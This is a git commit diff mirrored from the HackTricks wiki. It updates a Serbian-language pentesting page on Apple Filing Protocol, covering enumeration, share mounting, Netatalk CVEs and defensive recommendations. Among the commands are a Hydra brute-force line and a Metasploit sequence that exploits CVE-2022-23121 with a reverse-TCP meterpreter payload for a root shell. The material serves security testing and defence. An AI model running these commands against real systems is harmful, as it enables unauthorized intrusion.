mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to
This commit is contained in:
parent
4ba0b68c61
commit
30767e0f13
@ -2,29 +2,111 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne Informacije
|
||||
## Osnovne informacije
|
||||
|
||||
**Apple Filing Protocol** (**AFP**), nekada poznat kao AppleTalk Filing Protocol, je specijalizovani mrežni protokol uključen unutar **Apple File Service** (**AFS**). Dizajniran je da obezbedi usluge datoteka za macOS i klasični Mac OS. AFP se izdvaja po podršci za Unicode imena datoteka, POSIX i dozvole kontrolne liste pristupa, resursne forkove, imenovane proširene atribute i sofisticirane mehanizme zaključavanja datoteka. Bio je glavni protokol za usluge datoteka u Mac OS 9 i ranijim verzijama.
|
||||
**Apple Filing Protocol** (**AFP**), nekada poznat kao AppleTalk Filing Protocol, je specijalizovani mrežni protokol uključen u **Apple File Service** (**AFS**). Dizajniran je da obezbedi usluge datoteka za macOS i klasični Mac OS. AFP se izdvaja po podršci za Unicode imena datoteka, POSIX stil i ACL dozvole, resursne forkove, imenovane proširene atribute i sofisticirane mehanizme zaključavanja datoteka.
|
||||
|
||||
**Podrazumevani Port:** 548
|
||||
Iako je AFP zamenjen SMB-om u modernim macOS izdanjima (SMB je podrazumevani od OS X 10.9), još uvek se susreće u:
|
||||
|
||||
* Nasleđenim macOS / Mac OS 9 okruženjima
|
||||
* NAS uređajima (QNAP, Synology, Western Digital, TrueNAS…) koji uključuju open-source **Netatalk** demon
|
||||
* Mrežama mešovitih operativnih sistema gde je Time-Machine-over-AFP još uvek omogućen
|
||||
|
||||
**Podrazumevani TCP port:** **548** (AFP preko TCP / DSI)
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
548/tcp open afp
|
||||
PORT STATE SERVICE
|
||||
548/tcp open afp
|
||||
```
|
||||
### **Enumeracija**
|
||||
---
|
||||
|
||||
Za enumeraciju AFP usluga, sledeće komande i skripte su korisne:
|
||||
## Enumeracija
|
||||
|
||||
### Brzi banner / informacije o serveru
|
||||
```bash
|
||||
msf> use auxiliary/scanner/afp/afp_server_info
|
||||
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
||||
# Metasploit auxiliary
|
||||
use auxiliary/scanner/afp/afp_server_info
|
||||
run RHOSTS=<IP>
|
||||
|
||||
# Nmap NSE
|
||||
nmap -p 548 -sV --script "afp-* and not dos" <IP>
|
||||
```
|
||||
**Skripte i njihove opise:**
|
||||
Korisni AFP NSE skripti:
|
||||
|
||||
- **afp-ls**: Ova skripta se koristi za listanje dostupnih AFP volumena i fajlova.
|
||||
- **afp-path-vuln**: Lista sve AFP volumene i fajlove, ističući potencijalne ranjivosti.
|
||||
- **afp-serverinfo**: Ovo pruža detaljne informacije o AFP serveru.
|
||||
- **afp-showmount**: Lista dostupne AFP delove zajedno sa njihovim odgovarajućim ACL-ovima.
|
||||
| Skripta | Šta radi |
|
||||
|---------|----------|
|
||||
| **afp-ls** | Prikazuje dostupne AFP volumene i datoteke |
|
||||
| **afp-brute** | Brute-force napad na lozinku za AFP prijavu |
|
||||
| **afp-serverinfo** | Ispisuje ime servera, tip mašine, AFP verziju, podržane UAM-ove, itd. |
|
||||
| **afp-showmount** | Prikazuje deljenja zajedno sa njihovim ACL-ovima |
|
||||
| **afp-path-vuln** | Otkriva (i može iskoristiti) napad pretraživanjem direktorijuma, CVE-2010-0533 |
|
||||
|
||||
### [**Brute Force**](../generic-hacking/brute-force.md#afp)
|
||||
NSE brute-force skripta može se kombinovati sa Hydra/Medusa ako je potrebna veća kontrola:
|
||||
```bash
|
||||
hydra -L users.txt -P passwords.txt afp://<IP>
|
||||
```
|
||||
### Interacting with shares
|
||||
|
||||
*macOS*
|
||||
```bash
|
||||
# Finder → Go → "Connect to Server…"
|
||||
# or from terminal
|
||||
mkdir /Volumes/afp
|
||||
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
|
||||
```
|
||||
*Linux* (koristeći `afpfs-ng` ‑ pakovan u većini distribucija)
|
||||
```bash
|
||||
apt install afpfs-ng
|
||||
mkdir /mnt/afp
|
||||
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
|
||||
# or interactive client
|
||||
afp_client <IP>
|
||||
```
|
||||
Jednom kada je montiran, zapamtite da se klasične Mac resursne forkove čuvaju kao skrivene `._*` AppleDouble datoteke – ove često sadrže zanimljive metapodatke koje DFIR alati propuštaju.
|
||||
|
||||
---
|
||||
|
||||
## Uobičajene ranjivosti i eksploatacija
|
||||
|
||||
### Netatalk neautentifikovana RCE lanac (2022)
|
||||
|
||||
Nekoliko NAS dobavljača isporučilo je **Netatalk ≤3.1.12**. Nedostatak provere granica u `parse_entries()` omogućava napadaču da kreira zlonamerni **AppleDouble** header i dobije **daljinski root** pre autentifikacije (**CVSS 9.8 – CVE-2022-23121**). Potpuni izveštaj od strane NCC Group sa PoC koji eksploatiše Western-Digital PR4100 je dostupan.
|
||||
|
||||
Metasploit (>= 6.3) isporučuje modul `exploit/linux/netatalk/parse_entries` koji isporučuje payload putem DSI `WRITE`.
|
||||
```bash
|
||||
use exploit/linux/netatalk/parse_entries
|
||||
set RHOSTS <IP>
|
||||
set TARGET 0 # Automatic (Netatalk)
|
||||
set PAYLOAD linux/x64/meterpreter_reverse_tcp
|
||||
run
|
||||
```
|
||||
Ako cilj koristi pogođeni QNAP/Synology firmware, uspešna eksploatacija donosi shell kao **root**.
|
||||
|
||||
### Netatalk OpenSession heap overflow (2018)
|
||||
|
||||
Stariji Netatalk (3.0.0 - 3.1.11) je ranjiv na write izvan granica u **DSI OpenSession** handleru, što omogućava neautentifikovanu izvršavanje koda (**CVE-2018-1160**). Detaljna analiza i PoC su objavljeni od strane Tenable Research.
|
||||
|
||||
### Ostali značajni problemi
|
||||
|
||||
* **CVE-2022-22995** – Symlink preusmeravanje koje dovodi do proizvoljnog pisanja datoteka / RCE kada je AppleDouble v2 omogućena (3.1.0 - 3.1.17).
|
||||
* **CVE-2010-0533** – Prelazak direktorijuma u Apple Mac OS X 10.6 AFP (otkriven od strane `afp-path-vuln.nse`).
|
||||
* Više grešaka u bezbednosti memorije je ispravljeno u **Netatalk 4.x (2024)** – preporučuje se nadogradnja umesto zakrpa pojedinačnih CVE.
|
||||
|
||||
---
|
||||
|
||||
## Preporuke za odbranu
|
||||
|
||||
1. **Onemogućite AFP** osim ako nije strogo potrebno – koristite SMB3 ili NFS umesto toga.
|
||||
2. Ako AFP mora ostati, **nadogradite Netatalk na ≥ 3.1.18 ili 4.x**, ili primenite firmware dobavljača koji unazad portuje zakrpe iz 2022/2023/2024.
|
||||
3. Sprovodite **Jake UAM-ove** (npr. *DHX2*), onemogućite prijave u čistom tekstu i gostujuće prijave.
|
||||
4. Ograničite TCP 548 na pouzdane podmreže i obavijte AFP unutar VPN-a kada je izložen na daljinu.
|
||||
5. Periodično skenirajte sa `nmap -p 548 --script afp-*` u CI/CD da uhvatite rogue / downgraded uređaje.
|
||||
|
||||
---
|
||||
|
||||
### [Brute-Force](../generic-hacking/brute-force.md#afp)
|
||||
|
||||
## Reference
|
||||
|
||||
* Netatalk Security Advisory CVE-2022-23121 – "Izvršavanje proizvoljnog koda u parse_entries" <https://netatalk.io/security/CVE-2022-23121>
|
||||
* Tenable Research – "Eksploatacija greške starije od 18 godina (CVE-2018-1160)" <https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172>
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user